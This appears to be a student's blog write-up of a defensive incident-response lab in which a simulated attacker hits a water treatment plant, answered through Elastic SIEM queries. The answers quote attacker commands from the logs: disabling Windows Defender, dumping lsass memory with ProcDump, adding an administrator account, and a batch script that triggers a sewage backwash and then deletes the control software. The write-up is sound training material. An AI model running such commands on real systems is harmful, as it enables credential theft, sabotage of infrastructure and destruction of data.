Hafnium APT Lab

Hello, world.

I've been working towards my Certified Cyber Defenders certification the past few months, which has been a pretty brutal stretch for me if I'm being honest.

My plan is to document some of my efforts for others to benefit from now that I've established a bit of a rhythm working through lab scenarios (which are probably the most useful since the exam is 100% hands-on lab work). Digital Forensics and Incident Response (DFIR) is what the CCD is baselining, so the skills used are very different from HackTheBox type labs where you are on the attacker side.

Scenario / Notes

The first lab I'd want to document is Hafnium APT. In this scenario the security team at a water treatment plant detected suspicious network activity from an external IP address associated with the Hafnium threat actor group. The security analyst is provided an Elastic SIEM to analyze log events to determine what happened. To start I'm adding some useful notes to help get started. The questions/answers obviously don't explain the entire event, only bits and pieces. The notes can help fill in the gaps.

Logic Flow

Network -> Process -> File -> Registry

This string has been especially helpful to me while structuring out event timelines based on logs I'm looking through. Often a specific query will show you specific indicators of compromise (IoCs) as a collection of events you then have to fit into the timeline. It's helpful to know where attack patterns tend to begin and end so you can tie different kinds of events together in a logical way.

Network

Things usually start with a network connection in or out. Don't forget that network interfaces can talk to themselves as well.

Process

Identifying the lineage of the initiating process reveals much. Processes do things like create network connections, run scripts, dump memory, etc.

File

Bad files coming in, exfil going out. At some point files are usually made, moved, or murdered, any of which can hint at what happened.

Registry

In Windows, the registry is a hive of information (...ouch). It records many occurrences like installations, service creations, created accounts, and the like.

Q/A Section

01

What is the name of the threat detected by Windows Defender?

Query: winlog.provider_name : "Microsoft-Windows-Windows Defender" and log.level : "warning"

https://go.microsoft.com/fwlink/?linkid=37020&name=Trojan:Win32/Ceprolad.A&threatid=2147726914&enterprise=0

Answer: Trojan:Win32/Ceprolad.A

Timestamp: 2021-03-12 @ 08:21

CmdLine:_C:\Windows\System32\certutil.exe -urlcache -split -f https://download.sysinternals.com/files/Procdump.zip procdump.zip

02

What was the full URL that Windows Defender blocked an archive from being downloaded?

Query: winlog.provider_name: "Microsoft-Windows-Sysmon" and winlog.event_id: "1" and winlog.event_data.CommandLine: certutil

Timestamp: 2021-03-12 @ 08:21

Answer: https://download.sysinternals.com/files/Procdump.zip

03

What was the full command used by the attacker to successfully download the archive?

Query: winlog.provider_name: "Microsoft-Windows-Sysmon" and winlog.event_id: "1" and winlog.event_data.CommandLine: certutil

Timestamp: 2021-03-12 @ 08:23:47

Answer: certutil.exe -urlcache -split -f "https://download.sysinternals.com/files/Procdump.zip" procdump.zip

04

Which user account was the attacker using when the archive was successfully downloaded to the host?

Query: winlog.provider_name: "Microsoft-Windows-Sysmon" and winlog.event_id: "1" and winlog.event_data.CommandLine: certutil

Note: look at "winlog.event_data.User"

Answer: Administrator

05

What command was used by the attacker on the host to try and disable Windows Defender via the command line?

Query: winlog.provider_name: "Microsoft-Windows-Sysmon" and winlog.event_id: "1" and winlog.event_data.CommandLine: *

Note: Listing commands run during timeline

Answer: sc stop WinDefend

06

Provide the date and time when Windows Defender's real-time protection was disabled.

Query: winlog.provider_name: "Microsoft-Windows-Windows Defender" and winlog.event_id: "5001"

Note: Look at '@timestamp' field

Answer: 2021-03-12 08:21

07

Which version of ProcDump did the attacker run on the host?

Query: winlog.provider_name : "Microsoft-Windows-Sysmon" AND winlog.event_id: 1 AND winlog.event_data.OriginalFileName: "procdump"

Note: Dump the SHA256 hash from winlog.event_data.Hashes into VirusTotal and see Details

Answer: 10.0

08

Where is the executable located on the disk that was targeted by Procdump to dump its process memory?

Query: winlog.provider_name: "Microsoft-Windows-Sysmon" and winlog.event_id: "1" and winlog.event_data.CommandLine: *

Note: found the commands to unzip file

Answer: C:\windows\system32\lsass.exe

09

What was the location of the dump file created from the process dumped with Procdump?

Query: winlog.provider_name: "Microsoft-Windows-Sysmon" and winlog.event_id: "1" and winlog.event_data.CommandLine: *

Note: found the commands to unzip file

Answer: C:\tmp\lsass.dmp

10

Provide the SHA256 hash value of the Teamviewer installation to check if the legitimate version was installed.

Query: winlog.provider_name : "Microsoft-Windows-Sysmon" and winlog.event_id: "1" and winlog.event_data.OriginalFileName: "TeamViewer_Service.exe"

Note: This hash looks legit. Not sure why it was installed though. Mar8, legit version installed (D256F177A3DD8E7346B3FA9D32C4690B611F104E7CE175E99C5757BE6EEF229B)

Answer: D256F177A3DD8E7346B3FA9D32C4690B611F104E7CE175E99C5757BE6EEF229B

11

What was the domain looked up in the first DNS query done by the TeamViewer application after it was installed?

Query: winlog.provider_name : "Microsoft-Windows-Sysmon" and winlog.event_id:"22" and winlog.event_data.Image : "C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe"

TimeStamp: Mar 10, 2021 @ 04:40:52.355

Note: Look at the initial entries. First couple hits appear to be local host (poopcontroller), but then you see queries to router7.teamviewer.com
Answer: router7.teamviewer.com

12

Determine how the attacker gained access to the Administrator account. What is the type of the attack?

Query: N/A

Note: Back to initial RDP access, account was bombarded with failed logins followed by a success...brute-forced in other words

Answer: brute-force attack

13

What IP address can we send to the Firewall team for blocking?

Query: winlog.channel: "Security" and winlog.event_id: "4625" and winlog.event_data.LogonType : "3"

Note: Look at winlog.event_data.IpAddress

Answer: 8.36.216.58

14

What was the hostname from where the attacker launched their attack?

Query: winlog.channel: "Security" and winlog.event_id: "4625" and winlog.event_data.LogonType : "3"

Timeline: 2021-03-11 20:19 / 2021-03-11 20:26

Note: Look at winlog.event_data.WorkstationName, winlog.event_data.TargetUserName, and winlog.event_data.IpAddress

Answer: FancyPoodle

15

Provide the first timestamp from the logs where you can see the attacker was successful in logging.

Query: winlog.channel: "Security" AND winlog.event_id: "4624" AND winlog.event_data.LogonType: "3" and winlog.event_data.IpAddress : "8.36.216.58"

Note: Successful connection, but not full interactive remote session. I was stumped on this question for a while trying to understand the difference in time stamps based on the login types but finally realized phase 1 was cracking the password (non-interactive) while phase 2 was actually logging in, which occurred the next day according to the logs (see question 16)

Answer: 2021-03-11 20:26

16

When the attacker successfully logged into the host using RDP for the first time?

Query: winlog.channel: "Security" AND winlog.event_id: "4624" AND winlog.event_data.LogonType: "10" and winlog.event_data.IpAddress : "8.36.216.58"

Timestamp: Mar 12, 2021 @ 08:03

Note: Full RDP session...this is NOT the same as the non-interactive brute forcing that took place earlier. Think initial access broker handing off to 2nd stage attacker, though in this case the attack came from the same IP.

Answer: 2021-03-12 08:03

17

When did the attacker log off from the first RDP session?

Query: winlog.channel: "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" and winlog.event_id : "23"

Note: Had to switch off security channel in Elastic console

Answer: 2021-03-12 08:45 (PAY ATTENTION TO DATE...THERE WERE LATER LOGINS)

18

What command did the attacker run on the host which would've helped him understand what Antivirus software was running on the system?

Query: winlog.provider_name: "Microsoft-Windows-Sysmon" and winlog.event_id: "1" and winlog.event_data.ParentImage : "C:\Windows\System32\cmd.exe"

Note: run down timeline to when we know attacker accessed system...the attacker did a bunch of recon here...

Answer: tasklist (listing all services running off tasks)

19

Which command did the attacker run on the host that would have helped him understand the network interface configuration of the host?

Query: winlog.provider_name: "Microsoft-Windows-Sysmon" and winlog.event_id: "1" and winlog.event_data.ParentImage : "C:\Windows\System32\cmd.exe"

Note: run down timeline to when we know attacker accessed system...the attacker did a bunch of recon here...

Answer: ipconfig /all

20

What was the name of the user account added by the attacker?

Query: winlog.provider_name: "Microsoft-Windows-Sysmon" and winlog.event_id: "1" and winlog.event_data.ParentImage : "C:\Windows\System32\cmd.exe"

Note: net user /add Administrator1 password!@#!@# — decent job on password

Answer: administrator1

21

Based on information from the public, the first visual signs of raw sewage spilling into the river from the plant were around 14:00 local time on March 12th, 2021. According to the plant technicians, it would take at least 45 minutes for the plant to excrete sewage into the river once the backwash mode was activated. A file was created on the system that matches the above timelines and, based on its content, could likely have been used by the attackers to initiate the plant backwash. What was the name of this file?

Query: winlog.provider_name: "Microsoft-Windows-Sysmon" and winlog.event_id: "15"

Note: looking for downloaded files

Answer: backwash.bat

22

Which application was responsible for downloading the malicious file to the host?

Query: winlog.provider_name: "Microsoft-Windows-Sysmon" and winlog.event_id: "15"

Note: looking for downloaded files

Answer: chrome

23

From which website was this malicious file downloaded?

Query: winlog.event_id: "15" and winlog.event_data.TargetFilename: "C:\Users\Administrator\Downloads\backwash.bat:Zone.Identifier"
Timestamp:

Note: winlog.event_data.Contents : [ZoneTransfer] ZoneId=3 ReferrerUrl=https://wetransfer.com/

Answer: wetransfer.com

24

After this file was downloaded, the attacker appeared to have moved it to another directory on the host. What was the new path of the file?

Answer: C:\backwash.bat

25

Based on the available logs, there are limited indications that the downloaded malicious file was executed on the host. Provide the earliest timestamp which shows proof of the file being executed on the host.

Query: winlog.provider_name: "Microsoft-Windows-Sysmon" and winlog.event_data.ParentImage : "C:\Windows\System32\cmd.exe"

Note: you will only see cmd.exe by itself, which indicates (I think) a subshell that was spawned to obfuscate the command, but it was just before the malicious
file was downloaded...and you see execution parts right after...so...

Answer: 2021-03-12 11:10

26

What command contained in the malicious file, if successfully run on the host, would you expect to have initiated the plant’s backwash mode

Query: winlog.provider_name: "Microsoft-Windows-Sysmon" and winlog.event_id: "15"

Note: I'd already found this previously when I picked up #27 digging for zone3 files

Answer: C:\Program Files\ifak\SIMBA#4.3\Simba.exe --function backwash --interruptable no

27

Prior to switching to a manual override, the technicians attempted to open the modified Simba plant simulation software application in order to stop the backwash sequence. However, they could not get the application to launch. What command from the attacker's script would have rendered the application unusable?

Query: winlog.provider_name: "Microsoft-Windows-Sysmon" and winlog.event_id: "15"

Note: Flag identified while looking for Zone3 files much earlier. This complex command looked nasty with the taskkills followed by the deletion of a directory. As a server admin this red-flagged my brain but didn't make much sense till other pieces of the puzzle fit together.

Answer: DEL /F /Q "C:\Program Files\ifak\SIMBA#4.3*"

start "C:\Program Files\ifak\SIMBA#4.3\Simba.exe --function backwash --interruptable no" timeout /t 30 /nobreak taskkill /F /IM simba.exe /T taskkill /F /IM simba.exe /T taskkill /F /IM simba.exe /T taskkill /F /IM simba.exe /T taskkill /F /IM simba.exe /T DEL /F /Q "C:\Program Files\ifak\SIMBA#4.3*"

FIN